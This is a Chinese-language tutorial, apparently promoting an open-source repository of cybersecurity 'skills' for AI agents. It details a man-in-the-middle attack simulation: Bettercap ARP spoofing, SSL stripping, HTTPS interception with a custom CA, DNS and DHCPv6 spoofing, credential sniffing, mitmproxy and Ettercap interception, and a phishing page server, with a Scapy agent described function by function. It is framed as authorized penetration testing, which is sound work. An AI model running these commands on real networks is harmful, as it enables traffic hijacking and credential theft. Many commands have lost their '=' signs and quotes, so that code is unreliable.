
Anthropic-Cybersecurity-Skills 中间人攻击模拟技能ARP 欺骗、明文协议检测与 HSTS 强制的完整实战指南【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATTCK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI 20 platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills导读本文基于 conducting-man-in-the-middle-attack-simulation 技能及其配套的 API 参考文档 与 Scapy 实现脚本系统讲解如何在受授权的渗透测试与实验环境中利用 Scapy、Bettercap、mitmproxy、Ettercap 等工具链执行 ARP 欺骗、明文协议识别、SSL 剥离与 HSTS 强制检查。读完本文你将掌握一套从主机发现、流量劫持到防护控制验证、证据采集与清理恢复的完整 MITM 攻击模拟方法论并能读懂该技能内置 Agent 的底层实现原理。该技能是 Anthropic-Cybersecurity-Skills 开源技能库817 个结构化网络安全技能之一的一部分遵循 agentskills.io 开放标准映射到 MITRE ATTCK、NIST CSF 2.0 等多个框架仅用于授权测试与实验室环境。技能定位与授权边界该技能归属于网络安全的 network-security 子域围绕 MITM 攻击模拟展开目标不是入侵而是测试与验证验证应用是否正确校验 TLS 证书、强制加密通信向组织利益相关者演示明文协议HTTP、FTP、Telnet、SMTP 等的现实风险确认 HSTS、证书固定Certificate Pinning等反 MITM 防护是否真正生效评估检测体系对 ARP 欺骗、DHCP 欺骗、DNS 欺骗等攻击的识别能力训练应急响应团队识别和处置 MITM 攻击指标。从技能的mitre_attackfrontmatter 可以看到它对应 ATTCK 的 T1557.001LLMNR/NBT-NS 投毒、T1557.002ARP 投毒与 T1040网络嗅探NIST CSF 映射为 PR.IR-01、DE.CM-01、ID.AM-03、PR.DS-02。这意味着该技能从攻击面对抗行为与防御面检测与响应双向贯通既是攻击模拟也是安全控制有效性验证。严禁在未经书面授权的生产网络、不属于你的系统或涉及无关第三方通信的场合使用。技能要求具备明确授权文件列明范围内目标与获批技术、隔离的实验室环境或带回滚方案的生产测试窗口。环境准备前置条件说明书面授权明确范围目标与获批的 MITM 技术Bettercap 2.x / Ettercap / mitmproxy安装在攻击机上二层访问与目标主机处于同一网段自定义 CA 证书为本次评估单独生成用于 TLS 拦截测试Wireshark / tshark捕获并核验被拦截流量隔离实验室或审批测试窗口配备回滚流程攻击机内核参数与 CA 证书的初始化步骤如下# 启用 IP 转发否则会制造断网而非透明拦截 sudo sysctl -w net.ipv4.ip_forward1 sudo sysctl -w net.ipv6.conf.all.forwarding1 # 关闭 ICMP 重定向 sudo sysctl -w net.ipv4.conf.all.send_redirects0 # 生成用于 TLS 拦截的测试 CA 证书 openssl genrsa -out mitm-ca.key 4096 openssl req -new -x509 -days 30 -key mitm-ca.key -out mitm-ca.crt \ -subj /CNMITM Test CA/OSecurity Assessment/CUS # 目标网段主机发现 sudo bettercap -iface eth0 -eval net.probe on; sleep 10; net.show; quit其中忘记启用 IP 转发导致对目标造成拒绝服务是技能明确列出的首要陷阱务必在测试前确认ip_forward1。内置 Python Agent基于 Scapy 的 MITM 模拟器技能自带一个可独立运行的 Python Agentagent.py依赖两个核心包包版本用途scapy2.5ARP 欺骗、数据包嗅探、主机发现requests2.28HSTS 与 SSL 剥离检查CLI 用法# 主机发现 明文协议检测 python agent.py --network 192.168.1.0/24 --interface eth0 --duration 60 # 完整 MITM 模拟 python agent.py --target 192.168.1.100 --gateway 192.168.1.1 --interface eth0参数含义对应 agent.py 的 argparse 定义--network指定主机发现的 CIDR--target与--gateway同时给出时才触发 MITM 模拟--interface默认eth0--duration默认 30 秒--output默认mitm_report.json。关键函数与底层实现Agent 的核心函数与 API 参考文档一一对应可结合源码验证其内部调用链get_mac(ip_address)—— 解析目标 IP 的 MAC 地址。实现为构造ARP(pdst...)请求并封装进以太网广播帧Ether(dstff:ff:ff:ff:ff:ff)通过srp()在二层发送并等待应答3 秒超时取应答包的hwsrc字段agent.py。discover_hosts(network_cidr)—— ARP 广播扫描网段存活主机。对 CIDR 内的每个地址广播 ARP 请求收集应答的psrcIP与hwsrcMAC返回主机字典列表agent.py。arp_spoof(target_ip, spoof_ip, target_mac)—— 发送伪造 ARP 应答op2声明spoof_ip的 MAC 是目标主机的 MAC从而把发往网关/目标的流量引到攻击机agent.py。注意这里只发送单个包真正的持续劫持依赖周期性重发。arp_restore(target_ip, gateway_ip, target_mac, gateway_mac)—— 测试结束后向目标连续发送 5 次正确的 ARP 应答携带真实的hwsrc恢复目标 ARP 缓存避免残余劫持造成连接中断agent.py。detect_cleartext_protocols(interface, duration)—— 在指定网卡上嗅探 TCP 流量按目标或源端口匹配明文协议端口表记录协议、源/目的 IP 与端口并对重复流去重agent.py。check_hsts_enforcement(target_url)—— 向目标 URL 发起requests.get()verifyFalse10 秒超时检查响应头Strict-Transport-Security返回hsts_present、hsts_value与vulnerable判定agent.py。run_mitm_simulation(target_ip, gateway_ip, interface, duration)—— 编排函数先解析目标与网关 MAC任一失败即中止然后以 1 秒间隔双向欺骗对目标伪造网关、对网关伪造目标finally块中无论是否KeyboardInterrupt都会执行双向arp_restore保证实验结束不留后患agent.py。用到的 Scapy 函数函数用途ARP()构造 ARP 请求/应答包Ether()构造以太网帧srp()二层发送并接收包send()三层发送包sniff()捕获网络流量明文协议检测端口表Agent 内置 6 个明文协议端口任何命中即上报为风险发现端口协议风险80HTTP凭据拦截21FTP明文认证23Telnet完整会话劫持25SMTP邮件拦截110POP3邮件凭据窃取143IMAP邮件凭据窃取报告输出generate_report()将主机发现结果、明文协议发现、HSTS 检查与模拟结果汇总为 JSON并打印到标准输出main()最终把报告写入--output指定的文件agent.py可直接接入后续自动化处理或生成正式评估文档。完整攻击模拟工作流第一步环境与主机发现启用 IP 转发、生成 CA 证书后用 Bettercap 探测目标网段见上文初始化命令确认攻击机与目标位于同一二层网络。第二步Bettercap ARP 劫持与代理以交互模式启动后依次执行目标示例受害者192.168.1.50网关192.168.1.1 net.probe on net.show set arp.spoof.targets 192.168.1.50 set arp.spoof.fullduplex true arp.spoof on # HTTP 代理 SSL 剥离 set http.proxy.sslstrip true http.proxy on # HTTPS 代理 测试 CA 证书拦截 set https.proxy.certificate mitm-ca.crt set https.proxy.key mitm-ca.key https.proxy.on # 指定域名 DNS 欺骗 set dns.spoof.domains example.com,*.example.com set dns.spoof.address 192.168.1.99 dns.spoof on # 凭据嗅探 set net.sniff.verbose true set net.sniff.filter tcp port 80 or tcp port 21 or tcp port 110 net.sniff onfullduplex true表示同时欺骗目标与网关双向流量HTTP 代理开启 sslstrip 即为 SSL 剥离攻击HTTPS 代理配合测试 CA 用于检验证书校验强度net.sniff.filter的 BPF 过滤只关注明文端口流量与 Agent 内置的明文端口表互为印证。第三步mitmproxy 透明代理拦截 HTTP/HTTPS# 透明代理模式启动 sudo mitmproxy --mode transparent --set confdir~/.mitmproxy \ --set ssl_insecuretrue -w mitm_capture.flow # iptables 将 80/443 重定向到 mitmproxy 监听端口 sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080 sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080透明模式必须显式指定--mode transparent否则需要手工配置客户端代理会改变测试条件——这是技能明确警告的坑。mitmproxy 还支持 Python 脚本扩展例如在request钩子中落盘表单 POST 数据、在response钩子中记录 Set-Cookie 认证凭据可直接套用技能提供的extract_creds.py示例脚本见 SKILL.md Step 3。第四步DNS 欺骗与 DHCP 攻击Ettercap 侧使用自定义etter.dns文件将目标域名指向攻击机 Web 服务192.168.1.99并以 ARP 中间人 DNS 欺骗插件组合启动sudo ettercap -T -q -i eth0 -M arp:remote -P dns_spoof /192.168.1.50// /192.168.1.1//Bettercap 侧可开启dhcp6.spoof投放恶意 DHCPv6 应答配合攻击机上的钓鱼页面sudo python3 -m http.server 80 --directory /var/www/phishing/构成流量劫持 域名重定向 钓鱼页面的完整攻击链演示。第五步验证检测能力与控制有效性完成劫持后从攻击面与防御面两个角度做验证HSTS 强制curl -v -k -L http://example.com 21 | grep -i strict-transport-security检查响应是否携带 HSTS 头证书固定观察目标应用是否拒绝 MITM CA拒绝则说明 pinning 有效IDS 检测检查 Snort/Suricata 的 ARP 异常告警grep -i arp /var/log/snort/alert_fast.txt交换机层查看 DAIDynamic ARP Inspection日志Cisco 交换机show ip arp inspection logZeek 告警cat /opt/zeek/logs/current/notice.log | zeek-cut note msg证据固化tshark -i eth0 -f host 192.168.1.50 -w mitm_evidence.pcapng -a duration:300。第六步清理与文档化在 Bettercap 中依次arp.spoof off、http.proxy off、https.proxy off、dns.spoof off后退出恢复net.ipv4.ip_forward0清除 iptables NAT 规则sudo iptables -t nat -F PREROUTING确认目标 ARP 表恢复目标机上arp -d 192.168.1.1 ping -c 1 192.168.1.1强制刷新从所有安装过测试 CA 的系统移除该证书按约定删除含敏感数据的抓包文件生成报告并附校验和sha256sum mitm_capture.flow mitm_evidence.pcapng mitm_report.txt。关键概念速查术语定义Man-in-the-Middle (MITM)攻击者秘密拦截并可能篡改双方通信而双方以为在直接通信SSL Stripping降级攻击在 TLS 升级前拦截初始 HTTP 请求将 HTTPS 降级为 HTTP绕过加密HSTS浏览器安全策略强制 HTTPS 连接并缓存加密要求阻止 SSL 剥离Certificate Pinning应用级证书固定仅信任预配置证书可识别 MITM 代理证书ARP Cache Poisoning二层攻击污染目标 ARP 缓存使流量经攻击机转发Transparent Proxy无需客户端配置的透明代理通常借 iptables REDIRECT 规则捕获标准端口流量工具矩阵工具定位Bettercap 2.x网络攻击瑞士军刀ARP/DNS/DHCP 欺骗、HTTP/HTTPS 代理、凭据嗅探模块化架构mitmproxy交互式 TLS 代理拦截、检查、修改 HTTP/HTTPS 流量支持 Python 脚本Ettercap经典 MITM 工具ARP 欺骗、DNS 欺骗、插件式流量操控sslstrip专用 SSL 剥离工具代理 HTTP→HTTPS 重定向并返回降级 HTTP 页面Wireshark数据包分析核验流量是否被拦截留存成功/失败证据实战场景内部 Web 应用 HTTPS 强制验证背景开发团队声称内部 Web 应用强制 HTTPS含 HSTS 与证书固定。安全团队需在授权评估中验证。应用位于10.10.20.50工作站位于10.10.1.0/24VLAN。方法在相同 VLAN 上部署 Bettercap对测试工作站10.10.1.100执行 ARP 欺骗 → 开启 SSL 剥离测试能否降级 → 用测试 CA 做 HTTPS 拦截验证证书校验 → 观察工作站浏览器/应用是否拒绝连接 → 核对 HSTS 头的max-age取值 → 得出结论并输出报告。技能给出的典型结论形态该场景中常见发现浏览器因 HSTS preload 正确拒绝 MITM CA而厚客户端不校验证书直接接受说明厚客户端缺少证书固定——修复优先级最高。主要陷阱忘记启用 IP 转发 → 直接断网而非透明拦截在已 HSTS preload 的浏览器上测 SSL 剥离并得出HSTS 有效的结论而全新浏览器实例可能依然脆弱测试后不清理 ARP 欺骗 → 目标持续间歇性断网mitmproxy 未加透明模式标志 → 被迫手工配置代理改变测试条件。报告输出模板技能内置了标准化的评估报告格式详见 SKILL.md 的 Output Format 小节核心结构如下## MITM Simulation Report **Test ID**: MITM-2024-001 **Date**: 2024-03-15 14:00-16:00 UTC **Target Application**: https://app.internal.corp (10.10.20.50) **Test Workstation**: 10.10.1.100 **Attacker Machine**: 10.10.1.99 ### Control Validation Results | Control | Status | Details | |---------|--------|---------| | HTTPS Redirect | PASS | HTTP 请求以 301 跳转 HTTPS | | HSTS Header | PASS | max-age31536000; includeSubDomains; preload | | SSL Stripping (Browser) | BLOCKED | Chrome/Firefox 中 HSTS 阻止降级 | | SSL Stripping (Thick Client) | VULNERABLE | 客户端跟随 HTTP 跳转且无 HSTS | | Cert Pinning (Thick Client) | VULNERABLE | 接受 MITM CA 且不做校验 | | IDS Detection | PASS | Snort 12 秒内产生 ARP 欺骗告警 |建议项厚客户端实现证书固定高优先级、域名提交 HSTS preload 列表、接入层交换机启用 DAI、应用拒绝非固定证书的连接。与仓库其他资源的关联该技能在仓库中并非孤立存在它与以下内容形成完整证据链框架映射技能 frontmatter 中的 MITRE ATTCKT1557.001/T1557.002/T1040与 NIST CSFPR.IR-01、DE.CM-01、ID.AM-03、PR.DS-02映射可在 MITRE ATTCK 映射说明 中核对OWASP 映射将 T1557/T1040 关联到A02: Cryptographic Failures见 mappings/owasp/README.md印证了 MITM 攻击模拟与加密失效防护的对应关系。Navigator 层attack-navigator-layer.json 中 T1557 系列以评分形式展示技能覆盖度可用于把本技能的能力叠加进组织的 ATTCK 覆盖视图。同类技能可进一步参考网络流量分析如 analyzing-network-traffic-with-wireshark、NTM 中继检测hunting-for-ntlm-relay-attacks等相邻技能构建从攻击模拟到检测响应的完整闭环。结语MITM 攻击模拟的价值不在于攻击成功而在于用可复现、可清理、可取证的方式暴露防护缺口。本文结合 API 参考文档 与 Agent 源码 还原了从 Scapy 底层原语ARP 请求/应答、二层收发、流量嗅探到 Bettercap/mitmproxy/Ettercap 工具链的完整技术栈并给出了授权、清理、报告等工程化细节。在任何环境中执行本文技术前请务必确认授权范围与回滚方案让每一次模拟都成为一次安全的防御验证。【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATTCK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI 20 platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考